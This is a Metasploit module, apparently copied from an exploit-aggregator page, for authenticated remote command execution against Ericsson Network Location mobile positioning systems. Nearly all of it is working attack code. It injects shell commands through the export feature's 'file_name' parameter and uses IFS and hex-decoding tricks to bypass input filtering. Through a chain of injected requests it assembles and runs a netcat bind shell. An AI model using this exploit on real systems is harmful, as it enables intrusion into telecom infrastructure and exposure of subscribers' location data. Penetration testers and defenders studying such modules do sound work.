Share
## https://sploitus.com/exploit?id=PACKETSTORM:164749
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Ericsson Network Location Mobile Positioning Systems.  
The "export" feature in various parts of the application is vulnerable.  
It is a feature made for the information in the tables to be exported to the server and imported later when required.  
Export operations contain "file_name" parameter.  
This parameter is assigned as a variable between the server commands on the backend side.  
It allows command injection with preventions bypass operation.  
  
"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"  
  
/////// This 0day has been published at DEFCON29-PHV Village. ///////   
  
),  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2021-'],  
['URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon29.html'],  
['URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],  
['URL', 'https://www.wallofsheep.com/pages/dc29#akkus']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 600,  
'RPORT' => 10083,  
'SSL' => true,  
'PAYLOAD' => 'cmd/unix/bind_netcat'  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Ericsson NLG', {}]],  
'DisclosureDate' => 'Apr 21 2021',  
'DefaultTarget' => 0)  
)  
register_options [  
OptString.new('USERNAME', [true, 'NLG Username']),  
OptString.new('PASSWORD', [true, 'NLG Password']),  
OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])  
]  
end  
######################################################  
#  
# There are a total of 20 vulnerable areas.   
# These areas are located in cells,psap,numbering,smpp fields.  
# One request for each of these fields has been used for exploitation.  
# These are listed below.  
#  
# /[CLS_ID]/[CLS_NODE_TYPE]/numbering/plmns/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1  
# /[CLS_ID]/[CLS_NODE_TYPE]/smpp/export?file_name=/export/home/mpcadmin/[FILENAME]&host=[HOSTNAME] HTTP/1.1  
# /[CLS_ID]/[CLS_NODE_TYPE]/cells/gsm/cgi_cells/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1  
# /[CLS_ID]/[CLS_NODE_TYPE]/psap/wireless/specific_routings/export?file_name=/export/home/mpcadmin/[FILENAME] HTTP/1.1  
#  
######################################################  
  
# for Origin and Referer headers  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
# split strings to salt  
def split(data, string_to_split)   
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
  
def cluster  
  
res = send_request_cgi({  
# clusters information to API directories  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /version/  
cls_version = split(res.body, "version")  
cls_node_type = split(res.body, "node_type")  
cls_name = split(res.body, "cluster_name")  
cls_id = cls_version + "-" + cls_node_type + "-" + cls_name  
return cls_version, cls_node_type, cls_name, cls_id  
else  
fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')  
end   
end  
  
def permission_check(token)  
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.  
json_urls = '{"1":"/positioning_controls/gsm/","2":"/smpp/", "3":"/cells/gsm/cgi_cells/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'  
parse = JSON.parse(json_urls)  
cls_id = cluster[3]  
cls_node_type = cluster[1]  
  
i = 1  
while i <= 6 do  
link = parse["#{i}"]  
i +=1  
# The cells export operation returns 409 response when frequent requests are made.   
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.   
if link == "/cells/gsm/cgi_cells/"  
sleep(7)  
end  
filename = Rex::Text.rand_text_alpha_lower(6)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
if res && res.code == 403 then # !200   
next  
elsif res && res.code == 200   
return link, true   
elsif res && res.code == 400   
return link, true   
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.  
return "no link", false   
end   
end  
end  
  
def check  
# check connection and login  
token = login(datastore['USERNAME'], datastore['PASSWORD'])  
res = send_request_cgi({  
# product information check   
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
if res && res.code == 200 && res.body =~ /version/  
version = split(res.body, "version")  
pnumber = split(res.body, "product_number")  
print_status("Product Number:#{pnumber} - Version:#{version}")   
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def login(user, pass)  
  
json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),  
'headers' =>  
{  
'Origin' => "#{peer}"  
},  
'data' => json_login  
})   
  
if res && res.code == 200 && res.body =~ /true/  
auth_token = split(res.body, "authToken")  
return auth_token  
else  
fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')  
end   
end  
  
def prep_payloads(token, link)  
fifo = Rex::Text.rand_text_alpha_lower(4)  
#/ = 2F - y  
#; = 3B - z  
#| = 7C - p  
#>& = 3E26 - v  
#>/ = 3E2F - g  
#> = 3E - k  
#< = 3C - c   
#' = 27 - t  
#$ = 24 - d  
#\ = 5C - b  
#! = 21 - u  
#" = 22 - x   
#( = 28 - m  
#) = 29 - i  
#, = 2C - o  
#_ = 5F - a  
  
# echo `xxd -r -p <<< 2F`>y  
payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '  
# echo `xxd -r -p <<< 3B`>z  
payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '   
#echo `xxd -r -p <<< 7C`>p  
payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3E26`>v  
payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3E`>k  
payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 27`>t  
payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 24`>d  
payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 5C`>b  
payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 21`>u  
payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 22`>x  
payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '   
#echo `xxd -r -p <<< 28`>m  
payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 29`>i  
payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 2C`>o  
payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 5F`>a  
payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3C`>c  
payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3C`>c&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3E2F`>g  
payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E2F`>g&&pwd>fl") +'", '   
#echo "mkfifo /tmp/file; (nc -l -p 1544 ||nc -l 1544)0<" > p1  
payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}mkfifo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}`cat${IFS}z`${IFS}`cat${IFS}m`nc${IFS}-l${IFS}-p${IFS}#{datastore['LPORT']}${IFS}`cat${IFS}p``cat${IFS}p`nc${IFS}-l${IFS}#{datastore['LPORT']}`cat${IFS}i`0`cat${IFS}c`>p1&&pwd>fl") +'", '   
#echo "/tmp/file | /bin/sh >/tmp/file 2>&1; rm /tmp/file" > p2  
payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}${IFS}`cat${IFS}p`${IFS}`cat${IFS}y`bin`cat${IFS}y`sh${IFS}`cat${IFS}g`tmp`cat${IFS}y`#{fifo}${IFS}2`cat${IFS}v`1`cat${IFS}z`${IFS}rm${IFS}`cat${IFS}y`tmp`cat${IFS}y`#{fifo}>p2&&pwd>fl") +'", '   
#echo `cat p1` `cat p2` > 1.sh   
payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}p1`${IFS}`cat${IFS}p2`>1.sh&&pwd>fl") +'", '   
#chmod +x 1.sh  
payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}1.sh&&pwd>fl") +'", '  
#sh 1.sh  
payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}1.sh&&pwd>fl") +'"}'   
  
if link == "/cells/gsm/cgi_cells/"  
print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")  
end   
  
parse = JSON.parse(payloads)  
cls_id = cluster[3]  
cls_node_type = cluster[1]  
i = 1  
while i <= 21 do  
pay = parse["#{i}"]  
i +=1  
if link == "/cells/gsm/cgi_cells/"  
sleep(7)   
end  
send_payloads(cls_id, cls_node_type, token, link, pay)   
end   
end  
  
  
def send_payloads(id, type, token, link, pay)   
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, 'export?file_name=/export/home/mpcadmin/%7C' + pay),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
end  
  
##  
# Exploiting phase  
##  
def exploit  
  
unless Exploit::CheckCode::Appears == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])  
unless true == permission_check(auth_token)[1]  
fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')  
else   
perm_link = permission_check(auth_token)[0]  
print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")  
end   
  
prep_payloads(auth_token, perm_link)  
  
end  
end